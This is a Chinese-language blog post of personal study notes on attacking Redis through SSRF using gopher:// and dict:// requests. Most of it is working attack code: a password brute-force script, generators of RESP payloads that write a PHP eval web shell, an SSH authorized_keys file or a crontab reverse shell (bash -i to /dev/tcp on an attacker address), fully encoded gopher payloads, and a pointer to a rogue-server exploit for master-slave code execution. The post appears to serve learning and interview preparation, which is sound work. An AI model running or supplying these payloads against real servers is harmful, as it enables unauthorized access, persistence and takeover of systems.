SSRF + Redis 利用方式学习笔记

参考文章

浅析Redis中SSRF的利用
Redis结合SSRF绕过disable_function getshell

前言

常见的关于 Redis 的安全问题有两个

弱口令

木头师傅的弱口令爆破脚本(结合 SSRF):

import requests

target = "http://x.x.x.x:6666/index.php?url="  # 请输入目标url
rhost = "127.0.0.1"   
rport = "6379"

with open("passwords.txt","r+") as file:
    passwds = file.readlines()
    for passwd in passwds:
        passwd = passwd.strip("\n")
        len_pass = len(passwd)
        payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
        url = target+str(payload)
        text = requests.get(url).text
        if "OK" in text:
            print("[+] 爆破成功 密码为: " + passwd)
            print(text + payload)
            break

未授权访问

redis.conf 的配置文件中,有两个关键的配置会造成 Redis 未授权访问

  • bind x.x.x.x
    配置允许登陆 redis 服务的 ip,默认是 127.0.0.1(本机登录)
    如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆
  • protected-mode
    功能是自 redis 3.2 之后设置的保护模式,默认为 yes,其作用就是如果 redis 服务没有设置密码并且没有配置 bind 则会只允许 redis 服务本机进行连接

面试的时候会考!!!

redis 安装启动

  • 下载安装包:http://download.redis.io/releases/
  • 解压 tar -zxvf redis-x.x.x.tar.gz
  • 进入解压后的文件夹,执行 make 命令
  • 修改 redis.conf 文件
  • 进入 src 目录,执行 ./redis-server ../redis.conf,启动 Redis

前置知识

为了进一步了解 SSRF + Redis 的利用方式,首先要了解利用中的常见应用/网络协议

RESP 协议

RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
因此我们后续构造 payload 时也需要转换成 RESP 协议的格式

RESP 协议格式例如:

*1
$8
flushall
*3
$3
set
$1
1
$64



*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1







*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit

其中

  • *n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成
  • $n代表着该字符串有 n 个字符

执行成功后服务器会返回 +OK,这个是 redis 服务器对 redis 客户端的响应

gopher:// 协议

当探测内网或执行命令时需要发送 POST 请求,我们可以利用 gopher 协议
协议格式:gopher://<host>:<port>/<gopher-path>,这里的gopher-path就相当于是发送的请求数据包

特性:当使用 gopher 协议时,gopher-path的第一个字符会被吞噬,所以我们在发送请求时要注意这一点

注意点:CRLF(换行) 需要双重 URL 编码,即%250d%250a

dict:// 协议

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
协议格式:dict://<host>:<port>/<dict-path>

一般为:dict://<host>:<port>/info 探测端口应用信息
执行命令:dict://<host>:<port>/命令:参数 冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis

与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行

其他的与 gopher 没有太大差别

在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用
而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码

大佬的脚本:

cmd = "\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n"
cmd_encoder = ""
for single_char in cmd:
    cmd_encoder += hex(ord(single_char).replace("0xa","0x0a").replace("0x","\\\\x"))
print(cmd_encoder)

所以执行的命令为,当在浏览器中执行时,需要再进行一次 url 编码

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n"
对应
dict://172.2.0.2:6379/set:1:\"十六进制编码\"

config set dir /etc/
对应:
dict://172.2.0.2:6379/config:set:dir:/etc/

config set dbfilename crontab
对应:
dict://172.2.0.2:6379/config:set:dbfilename:crontab

save
对应:
dict://172.2.0.2:6379/save

大佬的一键式 ssrf + redis + dict 利用脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib,binascii
url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="  # 存在 ssrf 的 url
target = "dict://192.168.0.119:6379/"  # redis 服务器地址
cmds = ['set:mars:\\\\"\\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\\n\\\\"',  # shell接收地址与端口号
       "config:set:dir:/etc/",
       "config:set:dbfilename:crontab",
       "bgsave"]

for cmd in cmds:
    cmd_encoder = ""
    for single_char in cmd:
        # 先转为ASCII
        cmd_encoder += hex(ord(single_char)).replace("0x","")
    cmd_encoder = binascii.a2b_hex(cmd_encoder)
    cmd_encoder = urllib.quote(cmd_encoder,'utf-8')

    payload = url + target + cmd_encoder
    print payload
    request = urllib2.Request(payload)
    response = urllib2.urlopen(request).read()

拿 shell 的方法

绝对路径写 shell

条件:

  1. redis 有 root
  2. 知道网站绝对路径

未授权访问直接写

  1. 连接 redis,./redis-cli -h ip地址
  2. 写 shell
    执行如下命令
flushall
set 1 '<?php @eval($_REQUEST["1ndex"]); ?>'
config set dir '/var/www/html'
config set dbfilename test.php
save


查看被攻击机:

可以看到,shell 已被成功写入

结合 SSRF

由于此时是后端服务器向 redis 服务器发起请求,因此发送的内容需要转换成 RESP 协议的格式,通过结合 gopher 协议达到写入 shell 的目的
转换脚本:

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"  # 使用的协议 
ip="192.168.230.138"
port="6379"   # 目标redis的端口号 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"   # shell的名字 
path="/var"      # 写入的路径
passwd=""   # 如果有密码 则填入
# 我们的恶意命令 
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
    print urllib.quote("二次url编码后的结果:\n" + payload)

得到 payload:

gopher://192.168.230.138:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2439%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_REQUEST%5B%271ndex%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2410%0D%0Ashell2.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

结合 SSRF 时,需要再次进行 URL 编码,也就是二次 url 编码后的结果

gopher%3A//192.168.230.138%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

原因: payload 传到后端服务时会进行一次解码,后续利用 ssrf 发起请求时也会进行一次解码,因此总共就是两次 URL 编码

redis 写入 ssh 公钥

条件:

  1. redis 有 root

原理:
通过在目标机器上写入 ssh 公钥,然后便可以通过 ssh 免密码登录目标机器

生成 ssh 公/私钥

ssh-keygen -t rsa,一直回车即可

可以在/home/kali/.ssh/下看到生成的结果,分别为私钥和公钥

未授权访问直接写

flushall
set 1 'id_rsa.pub 里的内容'
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
save

然后通过ssh -i /home.kali/.ssh/id_rsa root@192.168.230.138 即可免密登录远程机器

结合 SSRF

将内容转换为 RESP 协议的格式

import urllib
protocol="gopher://"
ip="192.168.230.138"
port="6379"
sshpublic_key = "\n\nid_rsa.pub 里的内容\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
    print urllib.quote("二次url编码后的结果:\n" + payload)

crontab 定时任务反弹 shell

条件:

  1. redis 有 root
  2. centos
    由于 redis 输出的文件都是 644 权限,但是 ubuntu 中的定时任务一定要 600 权限才能实现所以这个方法只适用于 centos

未授权访问直接写

flushall
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save

结合 SSRF

import urllib
protocol="gopher://"
ip="192.168.230.138"
port="6379"
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

passwd=""
cmd=["flushall",
     "set 1 {}".format(cron.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
    print urllib.quote("二次url编码后的结果:\n" + payload)

Redis 主从复制 getshell

条件:

  1. redis 4.x/5.x

简介:
redis 主从模式,简言之就是一台 redis 服务器作为主设备,其余 redis 服务器作为从设备。并且主从设备中的所有数据都是相同的,其中主设备负责写数据,从设备负责读数据用以缓解单个服务器压力。
通过 redis 未授权访问,可以设置目标机器上的 redis 作为从设备,在本地另起一个 redis 作为主设备
在 Reids 4.x 之后,引入外部拓展文件来实现新的 redis 命令,构造恶意 .so 文件。在两个 redis 实例设置主从模式的时候,redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 .so文件,即可执行命令。

步骤:
下载exp,执行python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=y.y.y.y --exp=exp.so即可

其他复现

posted @ 2021-03-07 16:44  1ndex-  阅读(3480)  评论(0编辑  收藏  举报